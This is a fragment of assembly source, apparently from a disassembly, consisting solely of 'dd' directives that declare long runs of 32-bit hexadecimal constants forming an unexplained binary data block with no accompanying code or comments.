dd 92F9AD0Fh, 48B61Ch, 732A2FCAh, 99C64143h, 6E01887Ah
dd 375E515Bh, 9FEC024Fh, 1B2900D2h, 0EE50B087h, 0A907BA6Ch
dd 0C820CE32h, 0E2B1B780h, 4BDA0F5Bh, 0E9C0C27Ch, 0E3156542h
dd 82EE6000h, 7009724Ch, 1ED50058h, 899D4690h, 8B006A59h
dd 0DEECF3D1h, 0C6FB48h, 4E2D8DF2h, 217ED24Fh, 0FCBF2700h
dd 1101AC02h, 0FEF7289h, 95257A58h, 76B02FC0h, 0B6060C72h
dd 3A9630BDh, 0E5750019h, 0DA71B4E1h, 8BF86656h, 1AAB3100h
dd 64CE7C59h, 263000E9h, 774275D3h, 3700A265h, 0BC228020h
dd 0F16C62h, 72BB0BAFh, 0A3EDBAD4h, 80B0BF3Bh, 3D11CF7Ch
dd 7E47A74Ah, 8A060163h
dd 0F4EE7D22h, 346A103Eh, 67140384h, 857A2876h, 9912ACB0h
dd 0EF03FCF6h, 62B1EB3Ch, 0F170CF2Bh, 0BF5CCA3Dh, 0CFA0DB00h
dd 5AF2C43Bh, 0FD893301h, 8E4FEDB6h, 3E18DCh, 44B2EF25h
dd 7AA2B07Eh, 8E193839h, 122F21C8h, 0FD8B4100h, 0F9E3585h
dd 0E3433A57h, 14492A23h, 5D6F11B8h, 1D3FE80Fh, 0B478CADAh
dd 35745200h, 99A925h, 6C38D1F4h, 1B8BC9A0h, 8031983Fh
dd 5B47A6DAh, 0EC4FD058h, 44E7005Ch, 723CAB6Ah, 0C5F0D5D3h
dd 80DB0A3Fh, 3F7842F0h, 74A91C2Bh, 76E00EEh, 0DE3BBC27h
dd 3A010A15h, 2FCDC460h, 0F1E4A069h, 0A19CA01Dh, 58742824h
dd 0F72D0010h, 0EB514953h, 650003EDh, 0E5DFA7B8h, 986206h
dd 0FAC75822h, 9D94634h, 0B4738100h, 0AE59E692h, 31E70F0Dh
dd 8F00EC48h, 10D64163h, 1F241E79h, 69B3248Dh, 19F580B2h
dd 0BF0A1C9Dh, 0C54580B4h, 0FAC8E8CAh, 0DE424600h, 3DC364AAh
dd 0E5010712h, 1FDF939Dh, 53FEAB20h, 0B6005E05h, 0DA80FC22h
dd 0ECD1D93Ch, 90A51DCFh, 0C9BE8068h, 70692813h, 0A0B64A00h
dd 255C4E5Ah, 74900B0h, 2313DEFCh, 0F8A2168Dh, 0B4E98A40h
dd 0E0C3D13Eh, 1B9003A8h, 0D2522408h, 22210C0Ah, 0A0002888h
dd 0D1542534h, 0C0027C13h, 8C1B2459h, 0E204C2B3h, 17C72C78h
dd 0FCCF4880h, 0DC62031Eh, 1A4652Bh, 0AB4D96B8h, 5D353E00h
dd 85120D9Eh, 0C2D601E6h, 876B69Ah, 0BE19E049h, 1B3E250Ah
dd 0E809C38h, 104BE12Eh, 0E6A20108h, 0A4FD9147h, 8449C47Fh
dd 1CD8BF24h, 7EC3E91Eh, 0A899FFDDh, 3CA724CDh, 0A538D65Ch
dd 80A63580h, 0C2CA04Ah, 0C6B07B00h, 4B67EC54h, 5E3938D0h
dd 30E7F82h, 28487DAAh, 6CA01860h, 8460D286h, 7FB93318h
dd 5CFC006Ch, 37054C28h, 0FF00F01Ch, 0D242DC56h, 1C973E0Dh
dd 80405B66h, 5F0278CBh, 9C00EF30h, 54A1A4B9h, 7DE942CFh
dd 41F624h, 0B8062D48h, 58937092h, 0DB153F09h, 9B44B08Ah
dd 446700D1h, 0C093AD51h, 3009DFEh, 0F788B281h, 0E9E4916h
dd 0B335961Dh, 0B7368C80h, 37005A33h, 0DCCCA2CAh, 1D848FA8h
dd 0F0ACDD09h, 0C09481D9h, 0FFAD3000h, 32439C9Dh, 9B4B00A2h
dd 6B2B5BD3h, 0F7787812h, 8EEC470Ah, 7900D490h, 22F092B0h
dd 6F3101B7h, 0F9C6F559h, 604E80DCh, 8E70E477h, 4D660E25h
dd 22605A1Fh, 87BB12EBh, 0C60150E8h, 11EA19DFh, 8034A9C0h
dd 0E1C81EBCh, 68261Fh, 8671083Eh, 4B765622h, 4660B114h
dd 0AD52C0D0h, 35A739Fh, 0AC4879E2h, 9001AFA5h, 610B8012h
dd 10300228h, 3AB203EDh, 0DE29B116h, 8990F904h, 70900541h
dd 0DB3B867h, 5203F9BFh, 20EC258Ch, 6C093D34h, 81611C23h
dd 0E4784EE8h, 24216AF8h, 7A4E855h, 2201B239h, 6048E1C0h
dd 1000689Bh, 46FCA6C3h, 5285B3B4h, 691FE80Ah, 764E43C4h
dd 0EFC835AEh, 8900F2D7h, 5EC7203Ch, 30B4E344h, 736116D0h
dd 0A4A04AD3h, 1007C8A0h, 0FBD73324h, 8C775151h, 404644Ch
dd 8EE4D8E7h, 0EF78C31Ah, 0FA0E8880h, 0EB4AA307h, 500868Ah
dd 0C0E376B2h, 15B078E9h, 5D0058ABh, 49E7C16Bh, 128C7AA6h
dd 40656174h, 0D16A7FE4h, 100EDE4h, 98DB7909h, 0A02445h
dd 83BFEB4Eh, 35C7AC4h, 0C129D416h, 411EA461h, 57C48FCh
dd 36B707FEh, 0C6A81F66h, 0C156852Fh, 98F7EA38h, 0B870CAA4h
dd 0FEF3393Eh, 0AD995F80h, 0FB535D31h, 66FA2302h, 0CB6110C3h
dd 39A90800h, 7E0203F4h, 6119A66Dh, 0C5FD403Dh, 10F6FCh
dd 5EB1D627h, 225177C9h, 3DB0F250h, 8065401h, 15C8E1E7h
dd 0ECF07430h, 40340001h, 0A92F833h, 0A8A02158h, 67058006h
dd 7651F9A5h, 7F020D8h, 5D686E25h, 0DB58C02Bh, 3C7974A5h
dd 8F47AA00h, 91B036D3h, 279706FFh, 0B0F5C82Dh, 0D83AA900h
dd 41B3EA69h, 4440ED42h, 0BC3957h, 221670B7h, 4D3ABDB1h
dd 1DE17600h, 0BBDE5FF2h, 9CD4070Fh, 207D3589h, 0B16193FFh
dd 7AA8451Dh, 85CA9743h, 2998B011h, 0E9900BCh, 55CC2F1h
dd 9BFCBBFAh, 0E4AD2B00h, 0A332B1F0h, 2F8C1842h, 0D20B2817h
dd 0E7769B00h, 0F39646Bh, 84928Dh, 0F49D373Bh, 205FEC91h
dd 6F55707h, 0CBE0DD16h, 49BEAEh, 0CF17501Fh, 5E99A896h
dd 0A5F9880Bh, 4A94823Fh, 218B8065h, 3921397h, 1705D61h
dd 603E7B42h, 12CC0715h, 7309EC8h, 0E7AA5B2h, 0DA174602h
dd 4472AA81h, 77967074h, 20BE9A24h, 0EB201D00h, 0E1122BAEh
dd 13302D21h, 1B5901D5h, 0CA72B8ADh, 2DC02038h, 936FAA00h
dd 5CD54111h, 0A76500DEh, 37016CAEh, 50926DA5h, 330B10E6h
dd 85248305h, 0ECD0276Ch, 606344h, 0F76A75B8h, 1093A9B5h
dd 64861B2Ch, 8024E0A1h, 0EE00A021h, 82B3B9DAh, 0C741009Ah
dd 6E04BB60h, 6B60116Fh, 3B470271h, 6D1A0020h, 3382AC3Ah
dd 0CB60FC3Eh, 0E558A6B9h, 509BE1h, 5BFAC672h, 0CB273D6h
dd 0EA8CF802h, 832178F3h, 0B5D8C688h, 46B39000h, 3164D0h
dd 97130935h, 0DE630217h, 0F226D916h, 7BCAC15h, 22E00C48h
dd 88801CE4h, 933F4FFCh, 0AC0700B8h, 3E2C1B35h, 15C61204h
dd 90A0428Fh, 2D060E1Eh, 81A0F1D6h, 0B1651085h, 0CD7D124h
dd 0CE560502h, 64CD404Fh, 0A2EE0703h, 0A03EDA42h, 88EBA347h
dd 4A8A6051h, 0F2E200F0h, 91811129h, 61B3CD7h, 2B509881h
dd 0C1BE904Ah, 0B2407476h, 56411214h, 63C00B2h, 0F1AA0E43h
dd 6472BCh, 0DAE60B19h, 730CD4A1h, 13C050FFh, 392CB018h
dd 705010ECh, 0CD7DC9h, 8CC7150Bh, 0E1717DC6h, 674691C7h
dd 7A862561h, 0E2914880h, 0A731081Ah, 4692EB00h, 53EC2737h
dd 0A2ED18FDh, 0DAB058C6h, 23913300h, 35C74EA8h, 4298348Bh
dd 90C834E8h, 74034C10h, 0E61F8C00h, 3DF41630h, 84FE130Fh
dd 2B4C011Ch, 624A03D1h, 46416074h, 3E27F622h, 0ED3F3E07h
dd 0DB778E0h, 0F201C5F4h, 96BFF980h, 2EECC633h, 2E1B0A5h
dd 0A9D302ABh, 8C43E2ECh, 154461A8h, 0A8BBD400h, 34F71C55h
dd 0E8F09A8Bh, 0AC705CEDh, 0E05CE02Ch, 205EA617h, 8F95E309h
dd 87B8A02Ah, 435B4Eh, 8AF5EA8Dh, 9C217BC1h, 0ED7E800h
dd 4BDFE8Ch, 0B0C4F8A6h, 129A76C6h, 0CA7C70FFh, 0EF8B0080h
dd 2578F12Ch, 7F9F0053h, 0A108CF10h, 1C00094Bh, 96245487h
dd 42084DDh, 0C692A09Ch, 142C8039h, 0B400BD27h, 0FD21F089h
dd 921BBE03h, 3E067AF0h, 3D26792Ah, 0E2E40084h, 1F75AB29h
dd 1ACC5303h, 0D0E5809Bh, 53C35BB2h, 7724B886h, 1C944990h
dd 0F02EC300h, 6A2CC9BCh, 0FF7ED7h, 0BFC1DF3Ah, 0F7B54D10h
dd 0CAE8FA0Eh, 0E044368Ch, 2CC81360h, 3A97034Eh, 0BC237957h
dd 7BD9AA0h, 0FCD0C501h, 41420A8Ch, 32CAC440h, 0F37D149Bh
dd 2700F819h, 0F452E976h, 0A80B7B6Bh, 106C5F02h, 43EA398h
dd 60318436h, 0D2E0B117h, 0E6D484A0h, 0E7098697h, 32B9FA4Eh
dd 0BD08C04Ch, 0E0083FF9h, 55CED180h, 46BA4CF0h, 2F1D1004h
dd 4888AEBBh, 94321023h, 0D2AC0E51h, 0D4F7809Fh, 9FE0D7Fh
dd 7BC92C55h, 788C688Bh, 0AE04AD88h, 0B8F2D14Dh, 88BAAC90h
dd 409A002Ah, 775A0DAAh, 0A7F04B0Eh, 64008CA6h, 5DB8CCA5h
dd 3A45B6EDh, 776EF76h, 1E56F18Eh, 0B4B0A16Dh, 9A0EDC42h
dd 0E3376900h, 47ACA189h, 29067EB3h, 1949530h, 0A044F512h
dd 31DAFD9Eh, 5C68EC60h, 4B4A700h, 43511642h, 0EE901F31h
dd 73418A30h, 79360480h, 0AC00136Dh, 0AF6ED115h, 8AEA0ED4h
dd 0B48042E7h, 0C368E11Fh
dd 1CA68C2Ch, 7E49A422h, 9224888h, 612BDB37h, 0F6FC9E34h
dd 0B7D8055Bh, 43E670C9h, 21EAD3C8h, 6C06C7C0h, 0BC07B54Ah
dd 0D2D04C76h, 918A8EE1h, 55950328h, 0BD80DBF8h, 1059483h
dd 2CC8F1B4h, 748DD8D0h, 65D89C73h, 47FCC0E5h, 0EF30E119h
dd 0D1F498Bh, 59B2487Eh, 8C062F00h, 0E3E4B803h, 0A9F4230Ch
dd 30E0DEh, 0E2965158h, 0C15F8C50h, 37ED0900h, 5417F24Ch
dd 0D4C80F5Ah, 3540600Eh, 0ED6E363Fh, 1B74C500h, 2CF2494Bh
dd 728607D8h, 20E33DFDh, 6F9C81E5h, 4F0070F6h, 95685D2Eh
dd 4C0525E8h, 2100BC67h, 1E935A94h, 0AD0C2627h, 90AA3369h
dd 824A000Fh, 0CF819850h, 0BA03962Eh, 5A4B0B49h, 744E986Ch
dd 0FA750079h, 0D04523E7h, 0ECE7731Bh, 0A500DE3Eh, 49CA4E12h
dd 98E69Eh, 0AD4CBF5Dh, 63A7BA2Dh, 0AAE8EE4Bh, 58729300h
dd 92201B82h, 70319814h, 19760080h, 4B93348Bh, 9E7107EBh
dd 0C0F67FB8h, 0AD3256Ch, 8070683Eh, 8503A887h, 2E166Eh
dd 91C0994Ch, 56A31F4Ah, 0E8C2F50h, 73C7DC18h, 0FBDD058h
dd 2BE783C4h, 95323600h, 33000D72h, 46210F26h, 865392h
dd 8DC3D43h, 1334C440h, 0D5CE9100h, 1E65CC0Eh, 53680F41h
dd 0F7C20720h, 84A30BE5h, 0C884224h, 70EE726Dh, 0FECD9E2Eh
dd 9FB87305h, 99C18440h, 3A7990CBh, 938B2D2Fh, 0AB00ABF2h
dd 0C7EEE721h, 0F90CEB00h, 7AA9DB90h, 91481F56h, 75CAC0DDh
dd 46F14B74h, 0A4C8B000h, 4DE73B63h, 7BB0CF1Dh, 0CC29A960h
dd 0D063219h, 972F9F9Dh, 52902CF8h, 341E0051h, 0EEC784D6h
dd 80D31A38h, 0ADDB756Fh, 3897728Bh, 4E80C985h, 0B37AD621h
dd 59EC4B02h, 0F44F3F00h, 533DABB2h, 7361C02Bh, 89783394h
dd 2E5580C0h, 60D3681Fh, 0D4C5101Ch, 120456D9h, 0E6A0AA49h
dd 0F7662080h, 0AF930030h, 0A49485DCh, 3500C46Ah, 0FD1A3C95h
dd 90E6B38Dh, 3A617678h, 0E903523Fh, 72ED4332h, 3CDD87A0h
dd 0D8250804h, 18903F5Fh, 776F6Ah, 0B353B892h, 98235B78h
dd 40FAFAEEh, 0E89D5700h, 55058796h, 0DC5F0033h, 0E18422D1h
dd 6F001D70h, 0EDEF1AA8h, 0F35EA0h, 37BF8113h, 152FAC82h
dd 58D51D2Dh, 5D200FCh, 0CBC9A998h, 0B200B689h, 0C8DC28F2h
dd 1E632EB9h, 40FE6D86h, 0B1C93F7h, 0D8002441h, 61ECC5BCh
dd 0F50C4Fh, 5EA11E52h, 0D7B9CD02h, 10878930h, 0D24F97h
dd 0B7518D18h, 66021E43h, 0C028EE03h, 914E4D14h, 7DF58AFDh
dd 0D93AA07Eh, 903A1A30h, 903E86h, 12F8F55Bh, 0AC0F2D11h
dd 38CB4F06h, 2D8EE96h, 78393A89h, 92608807h, 0BD0FA65Dh
dd 606C87ECh, 2E011485h, 0DBFC0033h, 0D83EB8AEh, 3D397304h
dd 7F4C074Fh, 0BF1730h, 0ABA2CC2Dh, 26F40166h, 40D2DAE1h
dd 737EC877h, 21823B00h, 24810834h, 188C0AEAh, 3EBF3D4h
dd 84C27749h, 35BBFEA8h, 42308160h, 3A7DFE0h, 59C050ACh
dd 7E892EE8h, 0CD58801Fh, 8C104F6Dh, 7C5479CCh, 8A7603C3h
dd 483BC1C7h, 0C4E5B4C0h, 90261100h, 73DE5BE3h, 217500B9h
dd 0BA6AACBh, 0BBE0B820h, 2207A0ECh, 0F4D0FB34h, 3C9BFF6h
dd 3CB9FF56h, 1588B758h, 41C0CFF8h, 118A234Fh, 0A978A2h
dd 0D99CC4E6h, 2297E458h, 0FB2610C0h, 2D75C2h, 939E8217h
dd 0ADA6CEE1h, 0B038E7A0h, 0D42CF600h, 77C0CDEEh, 0EB0B00A5h
dd 0B105956Dh, 60146D1h, 8B9EAF1Dh, 9080A1FAh, 3289BEC9h
dd 0CB001641h, 0EA8E4A5Dh, 0EDCEB2FBh, 11E3ECh, 0D90F6F2Eh
dd 0D6051EF4h, 8D35C31Fh, 1F955447h, 5513D340h, 350C0A5h
dd 17C4BBBFh, 22E83C1Fh, 4FFCB282h, 48C0808Bh, 0F6EFD910h
dd 3D2007A3h, 0C068FB1Ah, 0F115F34h, 0E6D43C54h, 0A84AA600h
dd 0BCE842DEh, 0B5F230CEh, 0C2FAFBE8h, 8E757F7Bh, 3EDC5900h
dd 79FD9EBEh, 0AF083CFEh, 21B01703h, 0BB986782h, 9503EB2Ch
dd 0E5C8F7DBh, 0FF90F05Ch, 43530029h, 8A870F92h, 5001FD4h
dd 0D1167C97h, 1280613h, 0CF01E853h, 8A8FD35Fh, 0B8CCAC91h
dd 0D4014393h, 0BFB661CAh, 0A9338080h, 9DB16387h, 0EA8CD8A8h
dd 0D10A8400h, 0C2F73951h, 952F0370h, 0A99D7552h, 5BD8D100h
dd 51268718h, 0C888AB16h, 0B605D6h, 254E7F9Dh, 0C32442ACh
dd 95334F00h, 0D396CBA1h, 0F9F100F4h, 0ABE8FBECh, 0DC30171Fh
dd 0F29F5858h, 98BC6055h, 0A2F378F6h, 0D64CC2E8h, 3E3077FCh
dd 0C0DEE01Dh, 7F487810h, 4E182882h, 0D3EE12D6h, 80300986h
dd 0CB344838h, 0AE31F0FDh, 4E6EB30Eh, 0C8892AFFh, 0CC768100h
dd 8082F89Ch, 0A3009328h, 0F198AB1Ah, 1E01906h, 97F371EEh
dd 20A650C6h, 0C7024718h, 0BF43E527h, 88B080F6h, 0E41D8092h
dd 0F348C38Ah, 0B2E06AEBh, 9B18421Bh, 0BC911F09h, 9E7A3323h
dd 93B0EF48h, 204C1726h, 0CC5E2B70h, 0B29F090Eh, 0B2D1440h
dd 714239h, 0D08F0F98h, 55FCAE96h, 78207B72h, 9C6D00F5h
dd 0C09E1F3h, 0E402DE11h, 0A8DBA22Ah, 0A09A404Eh, 0C1C4C51h
dd 0FE1C200h, 1D359F56h, 0D11C5AFAh, 83807CFCh, 1E7B66DEh
dd 96CAEABh, 562EECDCh, 0E00E9C20h, 7024D2B4h, 2B00DCD3h
dd 24C59B87h, 4E4F0034h, 52433F8Ch, 0BB00E379h, 0A2190176h
dd 6D55F7h, 31DA8A71h, 0F64B04E8h, 960B5715h, 0B54A078Ch
dd 1C5199C8h, 9C432788h, 14F49017h, 85BB1F7Ah, 0E031C7DBh
dd 59C6000Eh, 67141A7Eh, 7BDA710Fh, 8F570C05h, 0A0400BA0h
dd 6CC28673h, 83B0A8F3h, 0FB5A39D9h, 29122A82h, 0D840A42Bh
dd 131A7E9Fh, 87029851h, 4D93729Fh, 8DEED857h, 0E8DB12C8h
dd 79F80390h, 37C06AC6h, 0B5207B42h, 48BF124Dh, 12A0037Dh
dd 0F4C0B482h, 921FC698h, 97C0CC13h, 2ADA2131h, 0F8C1035Ch
dd 64EC6683h, 40A9BA80h, 76E2C902h, 63E4287Ch, 0FD512B94h
dd 541F3A90h, 0C72A00DEh, 6A10293Ch, 4298181Eh, 4E15807Ah
dd 77AF12CBh, 0A0E3006Eh, 0F0C5A1C6h, 8A3872D4h, 5D6A805Ch
dd 2859CC88h, 4AC00083h, 0F7FDA3B0h, 580033CDh, 82F2F4C9h
dd 0F063138h, 63A272D3h, 0D5DD1C40h, 5071886h, 0D1F86924h
dd 559C6070h, 0C3A00058h, 50ECE638h, 2B129514h, 0CC0DED88h
dd 4035C9B4h, 9A518ED4h, 0D228004Ch, 1491921Bh, 660067A3h
dd 52F9D997h, 0A8E298DCh, 137F4D18h, 41A6418Bh, 6B60B838h
dd 264224Bh, 6301F36h, 60E062E7h, 0B0A5A959h, 0E0124C68h
dd 0D25589DEh, 0E20C6023h, 50E0CA94h, 0EE0035B0h, 0E442FC4Dh
dd 3DAFF55h, 59D3A56Bh, 95F0C783h, 7E588C8Ah, 2104DEA8h
dd 84808098h, 0F172B028h, 37002467h, 0C3E4E295h, 30030D5h
dd 0FF97D12Fh, 6A7FBFh, 9A6FE7C9h, 0D948E631h, 0BE0194A5h
dd 9A0BF8D1h, 642DC4h, 0A1441092h, 261F848Ch, 6957E701h
dd 0D999C97h, 38CD2BDCh, 6C02EF14h, 0FF490F1h, 73CAAFE0h
dd 0C7B03Dh, 0D2BC9699h, 0C8301Ah, 0AE83AD33h, 28F6DEA6h
dd 2697BD0Fh, 0A0AAE181h, 2E80DC8Fh, 0DDA6E798h, 0EA00ED83h
dd 9DFDCAD0h, 7199468h, 7F3ABE7Dh, 0EBE5201Ch, 0D8489C9Fh
dd 0F1F7194Ah, 0D68027A1h, 2FB0C025h, 0DB027A12h, 765634F5h
dd 78A8E018h, 0CC4C00A8h, 9EFBB463h, 0E900ADE8h, 0E3D09AF4h
dd 0FB173F09h, 71D812EDh, 28C800C2h, 2CBDD3B3h, 0E8C08D57h
dd 1099E87Ah, 0ED3900BFh, 78E2D076h, 0DF00ACD2h, 3A66A0F4h
dd 317B3D0Eh, 6E9867CBh, 455ED49Ah, 30002AECh, 436DB0FBh
dd 1F7DD996h, 0C0BF3E75h, 3F6F4C86h, 77C4ABEh, 35AC8000h
dd 0E09479C8h, 7ED705A4h
dd 8187FE95h, 80E11A75h, 75FBEBB8h, 0E4E87CE2h, 53DA00A7h
dd 64BE998h, 913D4EB5h, 231B008Bh, 78D91D56h, 0C9730045h
dd 0C194F47Ah, 0A9300D28h, 461BA8E8h, 445100D6h, 0F1320FEBh
dd 0B70AE4B0h, 0D89A8EAEh, 5934E880h, 3D31BF2h, 0DE0975D7h
dd 20A8DCB0h, 5E0121EDh, 2065935h, 9E404EBFh, 85AE84h
dd 9B935542h, 0F7F9189Ah, 0CB717B00h, 0F34FEC04h, 5CF0087h
dd 0ACE5F295h, 0C80048B6h, 39A76B16h, 7202D212h, 0EEE660A4h
dd 0CE459487h, 4C2F9F0Ah, 0F240602Bh, 3E4692F0h, 9E80CD6Ah
dd 37F6F30Ch, 840EAF6Fh, 0E006BB7Fh, 7DF1C6D4h, 4423F762h
dd 6B9DEB00h, 7557014Fh, 2BD94303h, 0F85ADA4Ch, 7007C88Fh
dd 9A80A0B3h, 0BFB92404h, 87FF00C8h, 24941B42h, 28C07B15h
dd 62768E48h, 40334D7Fh, 3DF0444h, 5B03A409h, 0FF804CDCh
dd 0A7001730h, 0F0E89DA0h, 81D8BFh, 63CB41FAh, 0F5A8C19Ch
dd 0C8F498A1h, 90001148h, 4F7CE366h, 0BD3DB4h, 46D1B3F6h
dd 2570520Bh, 0E92FC700h, 78B48173h, 91621604h, 46F90053h
dd 311EC42Bh, 3AFFF00Ah, 3592D023h, 0D91CCE00h, 0E73CB1Bh
dd 90BC8C1Fh, 0B0119187h, 2ADBE4C7h, 17588A0h, 0EDC2BA00h
dd 606D645Bh, 6CAD3AFDh, 0E8242183h, 7D136FBh, 0F432D4DCh
dd 0B888C403h, 0FB3F1B04h, 94E6EAA1h, 7CB90094h, 73FC1C93h
dd 313B704Fh, 0A16D09FFh, 0C1A3805Ch, 9649C6h, 0DF9046B4h
dd 0E9CCB20Dh, 3BBAECE5h, 5D01977Ch, 0D9D4ACD5h, 0BD20FF30h
dd 9EC100E2h, 0EA256DB3h, 517B765Ah, 1A947800h, 669B2802h
dd 0CF43048Ah, 90C299EEh, 0B7C606F0h, 98A65B14h, 646F01C8h
dd 27921153h, 98F2BDD4h, 8ED61348h, 863C4030h, 92748479h
dd 6CBD40C1h, 87D05DC0h, 77E4E2A4h, 19973BF6h, 41104480h
dd 48F28B1Eh, 0D9DF60F3h, 0BDF0A600h, 4FCD05ABh, 1A9D24D5h
dd 945E50A0h, 0B0B8E44Ch, 62BDD95Ah, 8758601Bh, 691C6440h
dd 0B4E42D00h, 0DBBF7020h, 2295008Eh, 0CF5CE06Bh, 9CA0EE27h
dd 0D060DD13h, 3F2ECB60h, 0D33000C5h, 8D4F69Ch, 0A4E2B547h
dd 6612CF00h, 645A97DBh, 0E00B15C1h, 5C513867h, 0D380DC23h
dd 866F6D9Ah, 0B9BA2F00h, 0EC078DE5h, 0C0916098h, 8771995Fh
dd 63905500h, 0FB06333Ch, 2A170022h, 4757ABB4h, 0A5017709h
dd 99D26119h, 0ECF12037h, 148E3C20h, 0C0D487B1h, 5FCB3500h
dd 431F21F8h, 76D25D00h, 3AB7B55h, 0E91B0017h, 366A165Ah
dd 0CD1E8B0Dh, 32001328h, 0C420E130h, 4F800A6h, 3F1EDC6Ch
dd 77011FEDh, 35A2436Fh, 36C17F7Dh, 50C09844h, 2A5E5Ah
dd 830A315h, 94B1C2BCh, 0CC79300h, 0F71E7C75h, 490B032Eh
dd 8C15C905h, 80200EA2h, 7E4E617Eh, 0C7F0A960h, 0D6EF2110h
dd 7CD18F61h, 0F3E49026h, 29B41D5Ah, 36994079h, 452F38E1h
dd 0D63B9F00h, 742431F4h, 0DBF53FE7h, 52D1A080h, 7C12E3DDh
dd 0CC3D4A00h, 123FC93h, 0EDD905C1h, 43632B24h, 4A52CE4h
dd 0C40091FCh, 0D357D51Dh, 0C87346B8h, 9C025B0Fh, 5FA7600Fh
dd 0C96EA63h, 15452B35h, 6000DC24h, 13AF2DBDh, 0CE8C39Eh
dd 0D6F2917Dh, 0C1141650h, 7CF48E34h, 77A2CF03h, 0FD1A3B8h
dd 0DA57EE71h, 0EA480776h, 54600075h, 531C0DF2h, 0CC26AFFBh
dd 1865584Ch, 0B898F564h, 0AC2A0433h, 4F039CC0h, 4D86B07Ch
dd 47F2E797h, 866C434Ch, 581E5821h, 4A31DA80h, 0C400FD6Ch
dd 0C06F7837h, 286195Ch, 1B99A9E0h, 95C0AC77h, 0D20BA04Eh
dd 99DD6E8h, 9A30B490h, 61D703A0h, 961E3038h, 0CA01A000h
dd 6FBDD1E9h, 904649ABh, 41AF7C00h, 33B3D581h, 726DE70Fh
dd 20A581D8h, 75CC7322h, 65C0EB2h, 58402923h, 0DBFA307Ah
dd 0E1695A00h, 0E81D3EB5h, 0A4275C20h, 0E195000h, 0D4D73BECh
dd 0BC04C926h, 86802807h, 3856D1B0h, 0D28B3D84h, 0B78D1782h
dd 18EAC4EFh, 850E8812h, 411253C0h, 8828699Ch, 1C2ED88Fh
dd 75008C90h, 0F99103BBh, 609217h, 80278122h, 9B359041h
dd 0B80F3924h, 84BDD50Ah, 7D8D8139h, 0F5FC1D96h, 0C5000826h
dd 1316F89Eh, 0F0122297h, 4440DE4Dh, 89A40EC4h, 3CBC7F91h
dd 0FA088Fh, 0C3629EAFh, 418DA61Dh, 1E40605Ch, 0BC8EBFh
dd 7D148631h, 0A7BB967h, 40EB3908h, 0ED700044h, 60F533A4h
dd 6BD1E600h, 40831E26h, 0F4E3F07h, 0ADA18C0Fh, 0E8CCC93Fh
dd 0F2791049h, 0A675E880h, 0D4001170h, 0A128C821h, 4C85515Dh
dd 0C3043CE9h, 9038EC7Dh, 2B1EE830h, 0C088C632h, 82D065E7h
dd 514A4E9Ch, 489A79C1h, 43020DACh, 79DA953h, 72848095h
dd 6E3CA4h, 85EBB57Ch, 0A16A9FABh, 84471312h, 0ECBD3440h
dd 0E2876C2h, 3A222A69h, 0CC4AD8A2h, 0D2038CEBh, 8BF6DBDCh
dd 0FC47F19Eh, 18722C75h, 0E5221371h, 0FB502002h, 0F800B570h
dd 0D3678AFEh, 94A1A0EBh, 0D4A8E314h, 8251BDA9h, 0A5A04BF9h
dd 430C4AE8h, 5207C870h, 0CFE50581h, 196D70Ah, 0FE721AE8h
dd 1EE03A9Dh, 1D2CAE1Dh, 0E634DC6Dh, 0B21930B8h, 0B54D2032h
dd 0F9F301F4h, 3783D534h, 30CCFFF5h, 7CA26115h, 70EBDE42h
dd 0EF025F74h, 87142E2Ch, 619842A8h, 0F8809EBCh, 8E937848h
dd 17A18BBh, 0DC7A48h, 1FE8F686h, 42E2DC2h, 0F2BBF0Ch
dd 9B088026h, 0BD391E19h, 958600B7h, 654BA266h, 6A0B1D1Fh
dd 0F0E44F9Dh, 3D1E27A0h, 0AF1875EDh, 0E3B0E7A5h, 0E0DA02D5h
dd 0B8CEB582h, 0CBE144A0h, 2D169704h, 2852FE64h, 30C44089h
dd 11A900DBh, 1945053Bh, 4E0A7513h, 0C8A2FF90h, 4A7BD073h
dd 5ED01DCh, 53683BD8h, 88F503E5h, 20F779Bh, 0B0DB459Dh
dd 0FC8094F6h, 3B3AC9E6h, 965D4101h, 0EF7C6436h, 0C100305Ah
dd 359DE78Eh, 0DE004318h, 97A2B76Bh, 1C46057h, 8C50B9C2h
dd 717B9AD7h, 1BC0B78h, 0D27A2E54h, 68FEC9ACh, 3DDBBB08h
dd 34545E82h, 0C8FF4B2h, 0D37F5A4Dh, 6C2C29C8h, 0FF00B123h
dd 4B480D3Dh, 42530B38h, 0F898435Fh, 0E898637Bh, 0E394DB00h
dd 0C5C2752Ch, 0F4224F7h, 0CF970080h, 9BAF6932h, 0C030C029h
dd 20E8130Bh, 0B9573648h, 0BEA7031Ah, 6F56F869h, 2C3F86A8h
dd 540AAF2Ch, 1C167DE0h, 0BB15002Eh, 9BB2ECFCh, 0EA00FB51h
dd 0A66ED7C0h, 91B9091h, 8CB3A364h, 80071444h, 99B50F03h
dd 1FB47FD7h, 410028B2h, 122F2CC7h, 0A3137190h, 7481E498h
dd 97C8BCB7h, 7098C2h, 0B495E644h, 0C8B1888Eh, 50B2EB72h
dd 104FBB09h, 14EC4C61h, 3404C6C1h, 48540573h, 1C8B7D42h
dd 0EA2494Ch, 986E9CC2h, 496EA400h, 0BF8AD996h, 0F4C949Ch
dd 0DFE22DDBh, 3AE07C13h, 48F038F3h, 0BA88A600h, 0F6CE38Dh
dd 0C9E72C63h, 5B100080h, 0C4AF8C23h, 1C071096h, 0FF507207h
dd 1C5B6C6h, 0C9D7DA9Ch, 24862C80h, 0AD1C2694h, 1D00953Fh
dd 84D25AB0h, 262C98E5h, 8130DB7Ah, 1BF9EA4Ch, 807038B4h
dd 2CBDC3EBh, 0C48C4CABh, 0B4F03515h, 3EEF9D00h, 799A493Bh
dd 10294D05h, 0B8401183h, 88468177h, 1F78B0FDh, 80317AA5h
dd 64B25ABBh, 9C187861h, 942EF671h, 8D290056h, 9B2BCF67h
dd 6C2EED66h, 0E300DBFBh, 0DB1A540Eh, 49870002h, 0EBCB8F69h
dd 14F4AECAh, 0B86D6301h, 0A98BCD5h, 266A8840h, 2BEE02D2h
dd 0AB61ADA4h, 7E225440h, 480C39FFh, 1F8C4414h, 0CD4C33F8h
dd 149A0558h, 54DCF496h, 0C0BC2506h, 0F72BD080h, 31004C0Fh
dd 77A413B9h, 25D384FBh, 70004219h, 1210F9ABh, 76DE8502h
dd 0CE92BE25h, 21C50184h
dd 0D5D94366h, 631031DDh, 8652C08Ch, 4C25F61h, 0B7ADAEE6h
dd 50ECF1F8h, 0EF9AF368h, 0A5B45B0Eh, 290C5428h, 29006CCAh
dd 0BE2EB10Dh, 0E0660099h, 7FD4F965h, 0A7587C86h, 0B8809318h
